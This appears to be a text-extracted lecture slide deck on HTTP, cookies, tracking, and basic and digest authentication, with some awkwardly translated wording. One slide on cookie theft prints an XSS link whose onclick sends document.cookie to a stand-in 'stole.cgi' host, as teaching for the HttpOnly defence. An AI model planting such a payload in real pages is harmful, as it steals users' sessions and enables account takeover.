Cookies & Friends

1. Cookies & Friends

2. Two types: request, response • HTTP request message: • ASCII The HTTP message format Request Command line (GET, POST, HEAD) GET /somedir/page.html HTTP/1.1 Host: www.someschool.edu User-agent: Mozilla/4.0 Connection: close Accept-language:fr (extra carriage return, line feed) headers CR+LF tells end of message

3. General format

4. Data transmission clientserver POST Method: • Necessary if data exceeds URL length • Data is encoded in message body Encode data in URLs: • Use the GET command • Data is encoded within URL: www.somesite.com/animalsearch?monkeys&banana

5. HTTP Commands HTTP/1.0 • GET • POST • HEAD • Ask only for information about a resource HTTP/1.1 • GET, POST, HEAD • PUT • File upload • DELETE • File deletion

6. Response Message Status line (error code and sentence) HTTP/1.1 200 OK Connection close Date: Thu, 06 Aug 1998 12:00:15 GMT Server: Apache/1.3.0 (Unix) Last-Modified: Mon, 22 Jun 1998 …... Content-Length: 6821 Content-Type: text/html data data data data data ... Headers Data, e.g. a HTML document

7. Error codes They stay in the first line of the response Some codes: 200 OK • request OK, object content follows 301 Moved Permanently • The requested object has been moved, find its new position in the “Location:” header 400 Bad Request • What the hell are you saying? 404 Not Found • There is no object with such an URL 505 HTTP Version Not Supported

8. User-server state: cookies Many major Web sites use cookies Four components: 1) Set-Cookie: header line of HTTP response message 2) Cookie: header line in HTTP request message 3) Cookie file kept on user’s host, managed by user’s browser 4) Possible back-end database at Web site Example: • Susan always accesses Internet from PC • She visits a specific e-commerce site for first time • When initial HTTP requests arrives at site, site creates: • unique ID • entry in backend database for ID

9. usual http request msg usual http response Set-cookie: 1678 create entry Cookies Cookies Cookies amazon: 1678 ebay: 8734 ebay: 8734 amazon: 1678 ebay: 8734 access usual http request msg cookie: 1678 usual http request msg cookie: 1678 access usual http response msg usual http response msg Cookies: keeping “state” client server Amazon server creates ID 1678 for user cookie- specific action one week later: cookie- spectific action

10. Cookies (continued) N.B. • Cookies & privacy: • cookies permit sites to learn a lot about you • the search engines use redirection and cookies for many purposes • cookies can be exchanged from one site to another What cookies can help for: • authorization • shopping carts • recommendations • user session state (e.g. Web e-mail)

11. Used to maintain data related to the user during navigation, possibly across multiple visits •  Cookies were introduced to provide a way to implement a "shopping cart" (or "shopping basket"), a virtual device into which users can store items they want to purchase as they navigate throughout the site • Today the basket contents are stored in a database on the server side, rather than storing basket items in the cookie itself. A web server typically sends a cookie containing a unique session identifier. The web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier • Used to allow users to log into a website • Before authentication, the web server will first set a cookie containing a unique session identifier • Users then submit their credentials and the web application authenticates the session and allows the user access to services Uses: Session management

12. Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future • A web server may send a cookie containing the username last used to log into a website so that it may be filled in for future visits • Many websites use cookies for personalization based on users' preferences. • Users select their preferences by entering them in a web form and submitting the form to the server. • The server encodes the preferences in a cookie and sends the cookie back to the browser. • Every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalize the page according to the user preferences. • Wikipedia website allows authenticated users to choose the webpage skin they like best; the Google search engine once allowed users (even non-registered ones) to decide how many search results per page they want to see Uses: Personalization

13. Tracking cookies may be used to track internet users' web browsing • If the user requests a page of a given site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page; • From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file. • By analyzing the log file collected in the process, it is then possible to find out which pages the user has visited, in what sequence, for how long, no matter of his IP number. • Tracking on a site used to produce statistics • Tracking on multiple sites is used to produce anonymous user profiles • Useful for determining what kind of advertisements should be shown to users • A tracking cookie may violate a user's privacy • Can be removed, many web browsers offer functionality in this sense Uses: Tracking

14. While rendering the page, the browser downloads all these objects. Most modern websites that you view contain information from lots of different sources. While this information is being retrieved, some of these sources may set cookies in your browser • First-party cookies are cookies set with the same domain (or its subdomain) as your browser's address bar. • Third-party cookies are cookies set with domains different from the one shown on the address bar. • Mozilla Firefox, Internet Explorer, Opera and Google Chrome do allow third-party cookies by default, although users can block them • Third-Party cookies allow to build ‘constellations’ of web sites and allow to track and build user histories across all the web Third-party cookies

15. In the cookie one can find several attributes: • Name/ValueThis is the only obligatory attribute • Domain Used to specify the source domain of the cookie • Expiresis optional, used to define the expiration date of the cookie  • Can be expressed as a date, as the maximum number of days or with 'Now' (implies that the cookie is deleted from your computer as soon as your browser is closed) or 'Never' (implies that the cookie is not subject to deadline) • Pathspecifies the URL path from which the cookie is sent to the end user • Access mode (HttpOnly) makes the cookies invisible to JavaScript and other client-side languages ​​on the page • Secure indicates whether the cookie should be obligatorily transmitted with HTTPS Implementation(1)

16. The cookie setter can specify a deletion date • If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. • Specifying a date is a way for making a cookie survive across sessions • cookies with an expiration date are called persistent. • A shopping site can use persistent cookies to store the items users have placed in their basket • a cookie can refer an entry in a database stored on the site e-shopping • if users quit their browser without making a purchase and returns later, they later still find the same items in the basket • If these cookies were not given an expiration date, they would expire when the browser is closed • the information about the basket content would be lost • Cookies can also be limited in scope to a specific domain, subdomain or path on the web server which created them Implementation(2)

17. Browsers request a page from web servers by sending them a usually short text called HTTP request. • to access the page http://www.example.org/index.html, browsers connect to the server www.example.org sending it a request that looks like the following one : Setting a cookie (1) GET /index.html HTTP/1.1Host: www.example.org • The server replies by sending the requested page preceded by a similar packet of text, called 'HTTP response'. This packet may contain lines requesting the browser to store cookies: HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value(content of page)

18. The server sends lines of Set-Cookie only if the server wishes the browser to store cookies.  • Set-Cookie is a directive for the browser to store the cookie • Send it back in future requests to the if the browser supports cookies and cookies are enabled. • For example, the browser requests the page http://www.example.org/spec.html by sending the server www.example.org a request like the following Setting a cookie (2) GET /spec.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */* • This is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one • The server answers by sending the requested page, possibly adding other cookies as well • The value of a cookie can be modified by the server by sending a new Set-Cookie: name=newvalue line in response of a page request. The browser then replaces the old value with the new one

19. Set-Cookie:Name=Value; EXPIRES=Date; PATH=Path; DOMAIN=Domain_Name; [SECURE] • Name=Value • is the only specification that is not optional, allows you to assign a name to the value to be stored in the client • EXPIRES=Date • Used to specify a date that defines the lifetime of the cookie. After this date, the cookie is automatically removed. • If not specified, the cookie is destroyed at the end of the user session when the browser is closed. • DOMAIN=Domain_Name Server • Used to identify the domain of the cookie. Only hosts within the specified domain can set the cookie. • If the domain is not specified explicitly, is considered valid the server that generated the HTTP response. Cookie attributes(1)

20. Set-Cookie:Name=Value; EXPIRES=Date; PATH=Path; DOMAIN=Domain_Name; [SECURE] • PATH=Path. • Used to specify the subset of the URL in the domain for which the cookie is valid. At the time of satisfying an HTTP request, if the cookie has already passed the check on the domain, then the pathname of the URL that is making the request is compared with this value. In case of equality the cookie is considered valid and is sent. • Without specific path is assumed to be the same as described in the header of the document that contains the cookie • SECURE • If this clause is added, then the cookie will be sent only if the communications channel with the host is secure (ie using some technique of secure transmission, for example, the https protocol) Cookie attributes(2) The cookies are identified by a combination of name, domain, and path, in contrast to what provided in the original specification of Netscape

21. Cookies are not sent to the server in the case: • End user session (closing the browser) if the cookie is not persistent • Has been reached expiration date • The expiration date has been reset (by the server or by a script) to an earlier date, already passed • A server or a script explicitly decide to delete it • The browser destroys the cookie in response to a user request Expiration

22. are same as worms and viruses • they can generate pop ups • They are used for spamming • They can only be used for advertising • They can erase data from the user's hard disks • They can read personal information stored on the user's computer • Controversial EU directive 2009/136/CE, IT Law 69-70/2012 seems requiring that web sites MUST ask permission for storing cookies. Misconceptions about Cookies..

23. Most browsers allow • to enable or disable cookies completely • to see the cookies currently stored in the browser • to selectively delete the cookies Browser settings

24. third-party cookies also include those from unwanted pop-up ads • Used to track users across different sites • Building a user profile is potentially dangerous to your privacy • They can be disabled on most browsers Privacy and third-party cookies

25. Inaccurate identification • If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a Web browser. • Thus, anyone has multiple sets of cookies. • Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser Drawbacks (1)

26. Cookie hijacking • A cookie can be caught from another computer that is able to read from the network • Cookie theft is the act of intercepting cookies by unauthorized parties • Packet sniffing can contain cookies when the traffic traveling over unencrypted http sessions • Can be remedied by using Transport Layer Security (https) to encrypt the connection • Several sites while using https encrypted communications for user authentication in the later stages, for performance reasons use unencrypted connections. Cookies can be intercepted and the attacker could impersonate a cookie in other sites (cookiemonster attack) • A server can set the secure flag for a cookie. In this case, the browser will only send cookies over a secure channel, such as an SSL connection Drawbacks (2)

27. Cross-site scripting • a cookie that should be only exchanged between a server and a client is sent elsewhere • Make sure that both the browser to send cookies to malicious server • Most browsers allow the execution of pieces of code on the client machine. • If cookies are accessible during execution, their values ​​could be communicated to the malicious server, which should not actually have access to them. • Encrypting Cookies do not prevent this type of attack • It is a typical attack to sites that allow a user to publish content to html • Incorporating the html code into post an attacker could get cookies from a user • This attack can be prevented using the HttpOnly flag, an option introduced by Microsoft in Internet Explorer 6, you need to make the cookie inaccessible to client-side script Drawbacks (3)

28. Cookie theft • The value of the cookie can be sent to other servers using means other than the header of a cookie, for example, scripting languages ​​such as JavaScript and JScript can access the values ​​of the cookies and have the ability to send arbitrary values ​​to the servers on the Internet (eg XSS: cross-site scripting) •  an attacker may post a message on www.example.com with the following link: • When a user clicks the link, the browser executes the code specified in the onclick replacing the string document.cookie with the list of active user cookies for that page. The list is sent to the server example.com and the attacker will be able to collect the user's cookies • The attack is difficult to identify the user side because the script comes from the same domain that set the cookie • It is the responsibility of the site dell'amministratoire disable the posting of malicious code • Cookies are not directly visible to the client-side JavaScript programs as if they were sent with the HttpOnly flag (non-standard, not supported by all browsers) Drawbacks (4) <a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>

29. Cookie poisoning • An attacker could modify the values ​​of the cookies before you send them back to the server • If a cookie contains the total to pay for items of a transaction, the risk is that an attacker could change this value and pay less than they should • Many websites fortunately only store a session identifier in the cookie itself, while the other sensitive data are stored on the server, is what puts protected from similar problems • This attack is often used in combination with one cookie theft • Cross-site cooking • Enables malicious websites to modify cookies from other sites • Similar to cookie poisoning, but the attacker uses normal users who have some vulnerability in the browser, instead of directly attacking the site • The goal is often realize session fixation (stolen session ID) Drawbacks (5)

30. Inconsistent state on client and server • generate an inconsistency between the state of the client and the state as stored in the cookie • If the user acquires a cookie and then clicks the "Back" button of the browser, the state on the browser is generally not the same as before that acquisition, but for example the content of the cart may not change; this might not be the intention of the user and can lead to confusion • Cookie expiry • Persistent cookies • A persistent cookie captured can be used to simulate a user for a considerable period of time, in the case of session hijacking Drawbacks (6)

31. IP address • Some users may be tracked based on the IP address of the computer requesting the page • The mechanism is less reliable than that of a cookie to identify a user because computers and proxies can be shared by multiple users, or as they may change from session to session. • It can work in the case of always-on broadband connections that keep the same IP for long periods of time • Some systems, such as Tor, are designed to ensure anonymity on the Internet and make this impractical. Alternatives to cookies

32. URL (query string) • Embedding information intoURLs • Web server appending query strings to the links of a Web page it holds when sending it to a browser. • When the user follows a link, the browser returns the attached query string to the server • a query string is part of a URL, if that URL is later reused, the same attached piece of information is sent to the server. • even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. • Storing data that identifies a session in a query string enables or simplifies session fixation attacks,referrer logging attacks and other security exploits. Alternatives to cookies

33. Hidden form fields • Using web forms with hidden fields • If the form is handled with the HTTP GET method, the fields actually become part of the URL the browser will send upon form submission. • If the form is handled with HTTP POST, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the URL, nor of a cookie • the tracking information is in the HTML source and POST input rather than in the URL • the information is not copied when the user copies the URL  Alternatives to cookies

34. HTTP authentication • The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a Web page only when the user has provided the correct username and password. • If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user. Alternatives to cookies

35. In the context of an HTTP transaction, this is a method for a web browser or other client program to provide a user name and password when making a request • the user name is appended with a colon and concatenated with the password. The resulting string is encoded with the Base64 algorithm, for example: • username Aladdin and password open sesame • the string Aladdin:open sesame is Base64 encoded , resulting in QWxhZGRpbjpvcGVuIHNlc2FtZQ== Basicaccessauthentication

36. Encoded string is easily decoded • Security is not the intent of the encoding step • the intent of the encoding is to encode non-HTTP-compatible characters that may be in the user name or password into those that are HTTP-compatible Basicaccessauthentication

37. Is all web browsers support it. • Rarely it is used on publicly accessible Internet web sites but may sometimes be used by small, private systems • Programmers and system administrators sometimes use basic access authentication, in a trusted network environment, to manually test web servers using Telnet or other plain-text network tools Advantages

38. It relies on the assumption that the connection between the client and server computers is secure and can be trusted • if SSL/TLS is not used, then the credentials are passed as plaintext • there is no effective way for a server to "log out" the user without closing the browser Disadvantages

39. The client requests a page that requires authentication but does not provide a user name and password • the server responds with the 401 ("Unauthorized") response code, including the required authentication scheme and the authentication realm • the client will present the authentication realm (typically a description of the computer or system being accessed) to the user and prompt for a user name and password • once the user has supplied a user name and password, the client adds an Authorization header (with valuebase64encode(username+":"+password)) to the original request and re-sends it • the server accepts the authentication and the page is returned; if the user name is invalid or the password incorrect, the server might return the 401 response code Example

40. Example Client request (no authentication): GET /private/index.html HTTP/1.0 Host: localhost Server response: HTTP/1.0 401 Authorization Required Server: HTTPd/1.0 Date: Sat, 27 Nov 2004 10:18:15 GMT WWW-Authenticate: Basic realm="Secure Area" Content-Type: text/html Content-Length: 311 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd"> <HTML> <HEAD> <TITLE>Error</TITLE> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1"> </HEAD> <BODY><H1>401 Unauthorized.</H1></BODY> </HTML>

41. Example Client request (user name "Aladdin", password "open sesame"): GET /private/index.html HTTP/1.0 Host: localhost Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== Server response: HTTP/1.0 200 OK Server: HTTPd/1.0 Date: Sat, 27 Nov 2004 10:19:07 GMT Content-Type: text/html Content-Length: 10476

42. Used to negotiate credentials with a user's web browser (using HTTP protocol). • It applies a hash function to a password before sending it over the network, which is safer than basic access authentication, which sends plaintext • is an application of MD5 cryptographic hashing with usage of nonce values to prevent cryptanalysis Digestaccessauthentication

43. RFC 2069

44. RFC 2617 If the qop (Quality of Protection) directive is "auth" or unspecified, HA2 is: If the qop directive is "auth-int" , HA2 is: If the qop directive is "auth" or "auth-int" , then compute the response as follows: If the qop directive is unspecified, then compute the response as follows :

45. The MD5 calculations used in HTTP digest authentication is intended to be "one way" • It should be difficult to determine the original input when only the output is known • If the password itself is too simple, however, then it may be possible to test all possible inputs and find a matching output (a brute-force attack) MD5 & Digest authentication

46. HTTP digest authentication is designed to be more secure than traditional digest authentication schemes • The password is not used directly in the digest, but rather HA1 = MD5(username:realm:password). • This allows some implementations (e.g. JBoss[3]) to store HA1 rather than the cleartext password • Client nonce was introduced in RFC 2617, which allows the client to prevent Chosen-plaintext attacks • Server nonce is allowed to contain timestamps. • Therefore the server may inspect nonce attributes submitted by clients, to prevent replay attacks. • Server is also allowed to maintain a list of recently issued or used server nonce values to prevent reuse. Advantages

47. Digest access authentication • It replaces unencrypted HTTP basic access authentication but It doesn’t replace strong authentication protocols, such as public-key orKerberos authentication. • Many of the security options in  RFC 2617 are optional. If quality-of-protection (qop) is not specified by the server, the client will operate in a security-reduced legacy mode • Digest access authentication isvulnerableto a Man-in-the-middle •  For example, a MitM attacker could tell clients to use basic access authentication or legacy RFC2069 digest access authentication mode • Digest access authentication provides no mechanism for clients to verify the server's identity Disadvantages

48. The client asks for a page that requires authentication but does not provide a username and password • The server responds with the 401 "Unauthorized" response code, providing the authentication realm and a randomly-generated, single-use value called a nonce. • The client will present the authentication to the user and prompt for a username and password • Once a username and password have been supplied, the client re-sends the same request but adds an authentication header that includes the response code • The server accepts the authentication and the page is returned. If the username is invalid and/or the password is incorrect, the server might return the "401" response code Example

49. Example Client request (no authentication): GET /dir/index.html HTTP/1.0 Host: localhost Server response: HTTP/1.0 401 Unauthorized Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:26:47 GMT WWW-Authenticate: Digest realm="testrealm@host.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41" Content-Type: text/html Content-Length: 311 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd"> <HTML> <HEAD> <TITLE>Error</TITLE> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1"> </HEAD> <BODY><H1>401 Unauthorized.</H1></BODY> </HTML>

50. Example Client request (user name "Mufasa", password "Circle Of Life"): GET /dir/index.html HTTP/1.0 Host: localhost Authorization: Digest username="Mufasa", realm="testrealm@host.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/dir/index.html", qop=auth, nc=00000001, cnonce="0a4f113b", response="6629fae49393a05397450978507c4ef1", opaque="5ccc069c403ebaf9f0171e9517f40e41" Server response: HTTP/1.0 200 OK Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:27:03 GMT Content-Type: text/html Content-Length: 7984